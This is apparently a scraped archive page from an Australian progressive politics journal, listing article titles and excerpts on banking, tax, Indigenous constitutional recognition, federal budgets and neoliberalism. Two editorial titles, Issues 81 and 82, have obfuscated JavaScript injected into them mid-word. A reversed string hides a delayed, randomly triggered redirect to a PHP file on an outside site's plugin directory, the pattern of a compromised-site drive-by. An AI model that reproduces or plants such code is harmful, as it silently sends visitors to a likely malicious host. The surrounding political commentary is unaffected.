The Banks: Public Power for Private Pillage

The Banks: Public Power for Private Pillage Evan Jones Key institutions have lost their legitimacy in the last several decades. Including the political class, the banking sector is at or near the top of the list. Most people would have some grievances with their bank provider, from the minor to the devastating. High interest rates on credit card debt is an ongoing irritation. The closure of many bank branches and retrenchment of staff during the...

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Tax and inequality

Tax and inequality Terri Butler & Andrew Giles* A good society – a more prosperous and more equal one – rests, among other things, upon tax settings that are genuinely progressive, and felt to be both fair and efficient. Taxes are more than simply the price of civilisation: they profoundly shape economy and society. Tax policies are matters of political choice. Past experience shows how tax choices have exacerbated inequality. It also...

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Rules of the Game

Rules of the Game Howard Guille   In 2018, Australian industrial institutions are in serious disarray. Employers now have more power to get what they want (much of which involves stopping workers getting much at all) and are using that power. The ACTU demands in “Change the Rules” are comprehensive. This is needed since the critical matters are equality and solidarity which involve matters well beyond enterprise bargaining. Sally...

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The make-believe land of Turnbull, Morrison and co

The make-believe land of Turnbull, Morrison and co. Frank Stilwell The Federal Budget is supposed to be about responsibly managing the nation’s affairs based on the best available economic information and fiscal forecasts. If so, the legitimacy of this year’s budget is in question. The budget received a mixed reception. Various articles and letters in the press after the budget expressed some sharp critique and a lot of economic wisdom. With...

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A Class of Their Own: Exploitation, Exclusion and Working Students

A Class of Their Own: Exploitation, Exclusion and Working Students Arthur Rorris  Overview The Fairfax Media expose, The Great Student Swindle by Anna Patty in December 2016 exposed gross exploitation. It was a wake up call to our movement and communities about the treatment of the young workers and children who work part time through their school years and later through University and TAFE. The systematic wage theft that was documented and has...

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Forum on David McKnight’s “Populism”

populism forum Power to the people: the populist revolt and the crisis of neoliberalism David McKnight In the past couple of years, I came to the painful realisation that the Australia in which I had grown up was in the process of being torn up and trashed. There were many bad things about this Old Australia -- around expectations of women, for example, and around discrimination based on race. But there were also some good things:  a more equal...

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Australia – a deficient democracy

Australia – a deficient democracy

Australia: a deficient democracy The governance of Australia’s institutions is frayed and failing with disquiet about the functioning of public and private institutions. Public institutions include executive government, parliament, courts, the Reserve Bank, universities and myriad public agencies such as the ABC and the Murray River Basin Authority.  They govern with a political charter through regulation and administration. The private...

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Editorial: Malcolm Turnbull’s Big let-down

Editorial: Malcolm Turnbull’s Big let-down

Editorial: Malcolm Turnbull’s Big let-down   The Uluru Statement from the Heart was issued in May 2017 on behalf of 227 First Nations delegates. This was the culmination of a consultation process including 12 Regional Dialogues held under the auspices of the Referendum Council. The Council claims it was the most proportionately significant consultation process that has ever been undertaken with First Peoples. The proportion of First...

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The Uluru Statement and enshrining a voice for Indigenous Peoples By Thomas Mayor

The Torment of our Powerlessness The Uluru Statement and enshrining a voice for Indigenous Peoples By Thomas Mayor Prime Minister Malcolm Turnbull’s dismissal of the key Uluru Statement From the Heart claim for a constitutionally enshrined Voice to parliament should not deter us from that aspiration. His ignorance should invigorate us because the dismissal demonstrates the importance of the claim. The eminent 19th century African American...

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Beatrix Campbell Reflections on the Revolution and today’s Social Democracy

Beatrix Campbell Reflections on the Revolution and today’s Social Democracy   The SEARCH Foundation arranged a two-week speaking tour by British socialist feminist activist Bea Campbell to mark the Centenary of the Russian Revolution and its meaning and lessons for today. Bea spoke on current issues of inequality, neoliberalism, the renewed interest in radical reforms and socialism, and what lessons the left might draw from the Russian...

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Mantles of fairness Editorial Issue 86

Mantles of fairness Editorial Issue 86

 Mantles of fairness   Budgets are politics dressed up as economics. Perhaps the most widespread view of the 2017 Budget is the Turnbull Government trying to retrospectively fix why it almost lost the 2016 Election. These include admitting to the unfairness of the 2014 Abbott-Hockey Budget and coating the 2017 Budget as fair.  As Michael Pascoe put in the Fairfax media, the Government is fixing ‘”Mediscare", education, housing...

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Hall Greenland – what the future could be like

The crises inherent in capitalism – and what transitions might look like   Hall Greenland   The old is dying and the new cannot be born: in this interregnum a great variety of morbid symptoms appear. Antonio Gramsci   The future confronting humanity is either socialism or barbarism. Rosa Luxemburg   The future is already here, it’s just unevenly distributed Kevin Gibson   That most acute analyst of capitalism, Karl Marx,...

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Celeste Liddle on the Alt-Right & Hate Speech

Hate speech by another name: Why the term 'alt-right' should not be legitimised Celeste Liddle The first time I heard the phrase "alt-right" used with regard to political discourse, I honestly thought I was imagining it. Perhaps it's my lefty bias, but the idea that the right could have an "alternative" when they are the generally staunch defenders of the status quo (as they tend to benefit from it) seemed somewhat out of place. Yet since then,...

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Marcus Woolombi Waters on the Crisis of White Identity…

A Crisis of White Identity... By  Marcus Woolombi Waters With the US election now decided and Donald Trump as President Elect it’s interesting watching the shock and amazement that this could have ever happened. I read an article recently that provided some insight. 'Behind 2016’s Turmoil, a Crisis of White Identity' was written by Amanda Taub and published in the New York Times. It highlighted the rise of White supremacists across the...

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Editorial Issue No 85

Editorial Issue No 85

2017: The year of the rooster Trump's ascent to the US presidency gives a new meaning to the ‘year of the rooster’. Trump represents heightened conflict, climate chaos, racism and corporate rule. Republicans now control both houses of the US Congress as well as the governorship of 33 states. Conservative judges will soon dominate the US Supreme Court. The Trump administration is drawn from the corporates. It is strong on oil and gas...

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Editorial Issue No 84

Editorial Issue No 84

The election outcome   Prosperity, equality and democracy are objectives of progressive politics. The issue is how to get there.  Yet, the portents are so uncomfortable that it might be wise to rely on an old Irish adage, "I would not start from where we are now".   Economies are stagnant with high unemployment and under-employment. The IMF blames the Brexit vote for a reduction of a fifth in its forecast of global economic growth....

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Frank Stilwell on Turnbull’s Economic Plan

Q: When is an economic plan not an economic plan? A: When it's a mixture of wishful thinking, class bias and trickle-down economics.   Malcolm Turnbull's election pitch was that his government would produce more jobs and growth in the Australian economy, while eventually eliminating the budget deficit. It was the central message in his party's massive TV advertising during the last week (substantially funded by his own money, it has been...

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Social policy -post Abbott

Social policy -post Abbott Ben Spies-Butcher Tony Abbott’s departure as Prime Minister led many Australians to draw a sigh of relief. The first Abbott-Hockey Budget represented an unprecedented attack upon Australia’s system of social protection, more so even than the first Howard-Costello Budget. Fending off many of these attacks is an important win, but there is little evidence the Coalition Government has genuinely changed track....

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Canadian Election Shows Neoliberals CAN be Defeated

  Canadian Election Shows Neoliberals CAN be Defeated Jim Stanford Australian progressive movements are busy preparing for a federal election that will be a crucial marker for many core issues: climate, jobs, inequality, fair taxation, globalization, and more. The re-election of the Turnbull government, which has kept intact the harsh agenda of Tony Abbott but put a new face on it, would mark a setback for all of these campaigns. Yet while...

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Policies for a class war? Editorial Issue no 83

Policies for a class war? Editorial Issue no 83

The double dissolution election is contrived if not confected. The legislative business that was so important to need a special sitting of Parliament lasted one day. When the Senate rejected the Australian Building and Construction Commission (ABCC) Bill, the government did not even put its Registered Organisations Bill to the vote. The ABCC Bill is shocking. As Tom McDonald, former ACTU Vice-President says in SEARCH News, it violates the UN...

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Editorial No 82: Malcolm Turnbull and the politics of climate change

Editorial No 82:  Malcolm Turnbull $cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the politics of climate change

Malcolm Turnbull and the politics of climate change   In late September, 54 members of the Liberal Party Parliamentary Caucus voted for Malcolm Turnbull to become their leader; 44 voted for Tony Abbott, the incumbent. Consequently, Malcolm Turnbull replaced Tony Abbott as the Prime Minister of Australia. From the outside, it appeared that Tony Abbott was despatched with some alacrity and a degree of aplomb but with significant dismay within...

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Harold Levien on Housing

Solving the Housing Problem in Australia Harold Levien The Abbott Government’s economic policy has aggravated Australia’s serious housing problem. The Reserve Bank Governor recently explained the Bank’s repeated interest rate reductions attempted to stimulate the depressed economy. He suggested the Government could borrow at record low interest rates to expand infrastructure spending, which has dramatically fallen since coming to Office,...

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John Langmore on Labor Values

Re-imagining Labor’s Vision for a Flourishing Australia[1] John Langmore   The ALP was established ‘to create a better, fairer life for working people’.  From this foundation Labor’s values, policy and practice have evolved and expanded in response to national and international political, social, economic and cultural forces.  The Party has been a predominantly pragmatic organisation led by practical people committed to a more...

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Frank Stilwell on the The UK Election

THE UK ELECTION: reflections on a tarnished Tory Triumph   Frank Stilwell reports from the UK on the General Election on 8th May that, surprising most pundits and deeply disappointing Labour supporters, gave renewed momentum to the Conservative party.     It was interesting to be in the UK for the general election during May of this year. British governments get a 5-year term, so whoever wins stays in office for a substantially...

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Max Ogden on the ALP & Social Democracy

The ALP Is Not Social Democratic but Should Be Max Ogden   The ALP is not a social democratic party. As the moves for party reform gather momentum, the party’s history and identity needs to be better understood since these make change difficult. The Australian Labor Party, and others of the English speaking countries, are better described as labourist, compared with the social democratic parties such as those in Germany, Sweden, Finland,...

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Vale Joan Kirner

Vale Joan Kirner   Claire Moore   There have been many public statements about the life and achievements of Joan Kirner…daughter, sister, teacher, partner, mother, environment activist, politician, minister, premier, feminist, rock icon….she made a real difference, and influenced lives and policy.   At her beautiful memorial service at the wonderful Williamstown Town Hall, which she loved dearly and was the scene of many...

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Editorial Issue No 81: The Scandal of Unemployment

Editorial Issue No 81: The Sc$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andal of Unemployment

The Federal Budget and the scandal of unemployment   All budgets are essentially fictions as they are based upon projections about an unknowable future: annual rates of GDP growth, levels of taxation revenue, iron ore prices etc. Yet the budgets delivered by this government are beginning to feel more like an episode of Game of Thrones than a credible economic exercise, so divorced are their stated justifications and underlying assumptions...

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Editorial Issue No 80 Renewing Australia’s politics

Editorial Issue No 80 Renewing Australia’s politics

Renewing Australia's politics   The neoliberal pipedream of a Free Market Nirvana is in trouble, even on its own terms. The unfettered free market does not deliver social justice or ecological sustainability – but then it was never supposed to. The neoliberal project was fundamentally about reducing the space for politics - making 'dollar votes' in the market more important than the electoral votes of citizens.   Despite the failures...

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